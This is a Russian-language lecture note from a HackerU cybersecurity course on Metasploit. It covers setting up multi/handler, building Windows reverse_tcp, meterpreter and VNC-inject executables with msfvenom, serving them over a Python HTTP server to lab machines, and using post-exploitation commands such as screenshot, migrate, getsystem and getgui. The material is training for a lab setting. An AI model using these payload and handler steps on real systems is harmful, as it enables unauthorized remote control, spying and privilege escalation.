---
# System prepended metadata

title: CSB-3 - №6
tags: [HackerU-CIT]

---

###### tags: `HackerU-CIT`
# CSB-3 - №6
CSB-3._12.07.2021_Cyber Infrastructure Threats
[Оглавление курса](https://hackmd.io/Yp9g_F6sTE-0ED_uwyM2tw#CSB-3_12072021_Cyber-Infrastructure-Threats)
*  [Занятие 6. Особенности атак, использующих метод перехвата трафика MSF6:реверс шел, payload, SimpleHTTPServer, reverse_tcp, Внутри шела](https://hackmd.io/M2bwRjLSRR-3CjknGEdoZA?both)
Пятница, 23 июля 2021 г., с 19:00 до 22:00 (МСК)
#### Устанавливаем метасплойт
Стартуем новую кали и решаем старую ошибку и обновляем метасплойт
[Решение проблемы в Kali Linux «W: Произошла ошибка при проверке подписи. Репозиторий не обновлён и будут использованы предыдущие индексные файлы. Ошибка GPG»](https://hackware.ru/?p=4692)
`wget 'https://archive.kali.org/archive-key.asc'`
`apt-key add archive-key.asc`
разрешаем ssh root для удалённого подключения
apt update
apt install metasploit-framework
так как поставился msf6 придёться переинициализировать базу
Error:
root@kali-Security:~# msfconsole 
Unable to find a spec satisfying metasploit-framework (>= 0) in the set. Perhaps the lockfile is corrupted?
Run `bundle install` to install missing gems.
`sudo gem install bundler -v 2.2.4`
`sudo msfdb reinit`
`sudo msfconsole`
![](https://i.imgur.com/N5AvPpf.png)
show payloads
##### Запускаем реверс шел
[О создании пэйлоадов для разных платформ с помощью msfvenom](https://habr.com/ru/company/ruvds/blog/343612/)
`msf6 > use exploit/multi/handler`
`msf6 exploit(multi/handler) > set payload windows/x64`
все варианты
![](https://i.imgur.com/CBBUCgd.png)
Выбрали пайлоад
`msf6 exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp`
`msf6 exploit(multi/handler) > show options`
![](https://i.imgur.com/oGWJ9wu.png)
`msf6 exploit(multi/handler) > set lhost 172.30.51.31` 
lhost => 172.30.51.31
(Можно указать нули а можно конкретный адрес)
#### Создаём файл реверс подключения с целевой машины
msfvenom -f --list
responder смотреть файлик
Создаём payloads
Вывод msfvenom
root@kali-Security:~# msfvenom -p windows/x64/shell/reverse_tcp LHOST=172.30.51.33 LPORT=4444 -f exe
[Payload Types in the Metasploit Framework](https://www.offensive-security.com/metasploit-unleashed/payload-types/)
[Generating Payloads in Metasploit](https://www.offensive-security.com/metasploit-unleashed/generating-payloads/)
Получаем файл:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=172.30.51.33 LPORT=4444 -f exe -o reverse_shell.exe
Папка для шелов
root@kali-Security:~# mkdir Shells
root@kali-Security:~# mv reverse_shell.exe ./Shells/
root@kali-Security:~# cd She
-bash: cd: She: No such file or directory
root@kali-Security:~# cd Shells/
root@kali-Security:~/Shells# ls -l
total 8
-rw-r--r-- 1 root root 7168 Aug  2 19:45 reverse_shell.exe
Простой HTTPServer на питоне для распространени шела:
#### Поднимаем сервер для загрузки payload на целевую машину и запускаем файл
root@kali-Security:~/Shells#python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Сервер с вин7
![](https://i.imgur.com/ehKH78M.png)
![](https://i.imgur.com/aC8SThb.png)
#### Принимаем подключение и получаем доступ к целевой машине
![](https://i.imgur.com/qyvQdDa.png)
**Внутри шела:**
Кодировка ASCII с русскими сиволами:
`chcp 65001`
Выводит имя пользователя, ассоциированное с текущим эффективным идентификатором пользователя.- `whoami`
![](https://i.imgur.com/ebxohDa.png)
Отображает сведения о конфигурации операционной системы на локальном или удаленном компьютере, включая уровни пакета обновления. -`systeminfo`
![](https://i.imgur.com/EoTy5hR.png)
Вывода деталей текущего соединения и управления клиентскими сервисами-`ipconfig`
![](https://i.imgur.com/cdWwHPg.png)
#### Payload meterpreter/reverse_tcp
`msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp`
payload => windows/x64/meterpreter/reverse_tcp
Запускаем msf6 exploit(multi/handler) > run
 Создадим нагрузку:
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.30.51.33 LPORT=4444 -f exe -o reverse_tcp_MtPt.exe`
Запускаем на целевой машине
![](https://i.imgur.com/XKTwvhc.png)
видим Шел
![](https://i.imgur.com/GwvXi8K.png)
`meterpreter > sysinfo`
![](https://i.imgur.com/ni76zwN.png)
`meterpreter > screenshot`
![](https://i.imgur.com/gTLPMg5.png)
![](https://i.imgur.com/ckt5Y3y.png)
`meterpreter > screenshare`
#### [Секреты Meterpreter Payload](https://habr.com/ru/post/131112)
Запускаем payload:
`msf6 exploit(multi/handler) > set payload windows/x64/vncinject/reverse_tcp`
set LHOST 
set viewonly false
run
![](https://i.imgur.com/sKKCsSB.png)
Генерируем нагрузку > `msfvenom -p windows/x64/vncinject/reverse_tcp LHOST=172.30.51.33 LPORT=4444 -f exe -o reverse_vnc.exe`
Запускаем web server`python -m SimpleHTTPServer 80`
Загружаем на цель, запускаем, видим шелл.
VNC запущен на кали
Пробуем запускать payload на WIN10 > защитник блокирует все файлы
![](https://i.imgur.com/JJmj5aQ.png)
Aavast так же ловит
`set payload windows/x64/meterpreter/reverse_tcp`
запускаем метерпретер на WIN10
Создаём пользователя User без прав и подключаемся, видим в диспетчере:
![](https://i.imgur.com/oRD4WLs.png)
Работа в шеле:
ps - выводит список текущих процессов 
migrate (PID)
![](https://i.imgur.com/tPjqAjH.png)
процесс изначально запущенный пропадает
getsystem > повышение привилегий до системных, использующая уязвимость, которая была обнаружена во всех версиях Windows, начиная с версии 3.1/
Не хватило прав
![](https://i.imgur.com/kgQzTo9.png)
run winenum > сбор информации о машиине
run getgui -e > Удаленный рабочий стол
bg > сокрытие процесса без завершения
sessions > список процессов msf
![](https://i.imgur.com/2v7HDhB.png)
search smbg
use 0